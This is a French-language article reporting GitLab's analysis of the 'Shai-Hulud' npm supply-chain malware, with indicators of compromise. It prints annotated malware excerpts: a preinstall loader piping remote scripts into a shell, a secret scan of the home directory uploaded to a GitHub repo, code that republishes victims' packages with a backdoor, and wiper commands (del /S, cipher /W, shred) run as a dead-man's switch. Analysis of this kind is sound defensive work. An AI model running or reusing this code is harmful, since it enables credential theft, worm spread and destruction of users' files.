GitLab découvre une attaque généralisée dans des dépendances NPM
Des recherches de vulnérabilité menées par GitLab ont conduit à la découverte d'une attaque malware active à grande échelle dans l'écosystème NPM.
Une version évoluée du malware qui s'est fait baptiser "Shai-Hulud" a compromis une centaine de paquets et plus de 25 000 depôts Github.
Un code qui s'exécute pendant l'installation dans le but de voler des identifiants de connexion et si l'opération échoue celui-ci supprime tous les fichiers personnels de l'utilisateur.
L'attaque commence dès l'installation d'un paquet infecté via NPM
// This file gets added to victim's packages as setup_bun.js
#!/usr/bin/env node
async function downloadAndSetupBun() {
// Downloads and installs bun
let command = process.platform === 'win32'
? 'powershell -c "irm bun.sh/install.ps1|iex"'
: 'curl -fsSL https://bun.sh/install | bash';
execSync(command, { stdio: 'ignore' });
// Runs the actual malware
runExecutable(bunPath, ['bun_environment.js']);
}
Le malware infiltre les systèmes grâce à un processus de chargement en plusieurs étapes soigneusement conçu. Les paquets infectés contiennent un fichier modifié package.json avec un script de préinstallation pointant vers setup_bun.js permettant d'installer Bun.
Bun étant ici un environnement d'exécution JavaScript, un gestionnaire de paquets et un outil d'exécution de tests conçu pour remplacer directement Node.js car plus rapide et performant. Donc à première vue un outil légitime. Cependant, son véritable objectif est d'établir l'environnement d'exécution du malware.
Tout se joue à la dernière ligne du code.
Le chargeur télécharge ou localise le runtime Bun sur le système, puis exécute le package fourni le payload "bun_environment.js", un fichier obscurci de 10 Mo assez volumineux pour éviter une inspection occasionnelle mais assez léger pour faciliter le chargement rapide.
Récolte des crédentials
async function scanFilesystem() {
let scanner = new Trufflehog();
await scanner.initialize();
// Scan user's home directory for secrets
let findings = await scanner.scanFilesystem(os.homedir());
// Upload findings to exfiltration repo
await github.saveContents("truffleSecrets.json",
JSON.stringify(findings));
}
Ensuite une fois exécuté, le malware commence à récolter des credentials ou données d'identifications en tout genre:
- Jetons GitHub
- Identifiants cloud
- Jetons npm
Et toute cette Analyse du système de fichiers est possible grâce à Trufflehog un outil de sécurité légitime servant à numériser des credentials via une analyse de l'intégralité de vos dépôts de code. Outil téléchargé au préalable et qui après analyse s'envoi les résultats dans un fichier json sur son dépôt Github.
Et enfin avec les jetons volés le malware télécharge les packages maintenus par la victime pour ensuite y charger le même malware et les réinjecter sur Github comme version incrémentée ou mise à jour des packages.
async function updatePackage(packageInfo) {
// Download original package
let tarball = await fetch(packageInfo.tarballUrl);
// Extract and modify package.json
let packageJson = JSON.parse(await readFile("package.json"));
// Add malicious preinstall script
packageJson.scripts.preinstall = "node setup_bun.js";
// Increment version
let version = packageJson.version.split(".").map(Number);
version[2] = (version[2] || 0) + 1;
packageJson.version = version.join(".");
// Bundle backdoor installer
await writeFile("setup_bun.js", BACKDOOR_CODE);
// Repackage and publish
await Bun.$`npm publish ${modifiedPackage}`.env({
NPM_CONFIG_TOKEN: this.token
});
}
Le dead man's switch
// CRITICAL: Token validation failure triggers destruction
async function aL0() {
let githubApi = new dq();
let npmToken = process.env.NPM_TOKEN || await findNpmToken();
// Try to find or create GitHub access
if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {
let fetchedToken = await githubApi.fetchToken(); // Search for tokens in compromised repos
if (!fetchedToken) { // No GitHub access possible
if (npmToken) {
// Fallback to NPM propagation only
await El(npmToken);
} else {
// DESTRUCTION TRIGGER: No GitHub AND no NPM access
console.log("Error 12");
if (platform === "windows") {
// Attempts to delete all user files and overwrite disk sectors
Bun.spawnSync(["cmd.exe", "/c",
"del /F /Q /S "%USERPROFILE%*" && " +
"for /d %%i in ("%USERPROFILE%*") do rd /S /Q "%%i" & " +
"cipher /W:%USERPROFILE%" // Overwrite deleted data
]);
} else {
// Attempts to shred all writable files in home directory
Bun.spawnSync(["bash", "-c",
"find "$HOME" -type f -writable -user "$(id -un)" -print0 | " +
"xargs -0 -r shred -uvz -n 1 && " + // Overwrite and delete
"find "$HOME" -depth -type d -empty -delete" // Remove empty dirs
]);
}
process.exit(0);
}
}
}
}
Comme on l'a dit plutôt l'analyse a aussi révélée un payload de destruction ayant pour but de protéger l'infrastructure du malware contre les tentatives de retrait.
Le malware surveille en permanence son accès à GitHub (pour l'exfiltration) et à npm (pour la propagation) et dans le cas ou il perd simultanément l’accès aux deux canaux cela déclenche une destruction immédiate des données sur la machine compromise. Sous Windows, il tente de supprimer tous les fichiers utilisateur et d'écraser les secteurs du disque. Sur les systèmes Unix, il utilise shred pour écraser les fichiers avant leur suppression, rendant la récupération presque impossible.
Comment savoir si tu es infecté ?
Pour cela tu devras vérfier que tu n'as pas l'un de ces éléments dans tes dépendances de developpement :
- Fichiers :
bun_environment.js
.truffler-cache/trufflehog
.truffler-cache/trufflehog.exe
- Dossiers :
.truffler-cache/
.truffler-cache/extract/
- Processus :
shred -uvz -n 1
cipher /W:%USERPROFILE%
- Commande :
curl -fsSL https://bun.sh/install | bash
powershell -c "irm bun.sh/install.ps1|iex"
Pour avoir plus de détails sur le sujet tu peux te rendre ici :
GitLab Report an NPM AttackCréé par
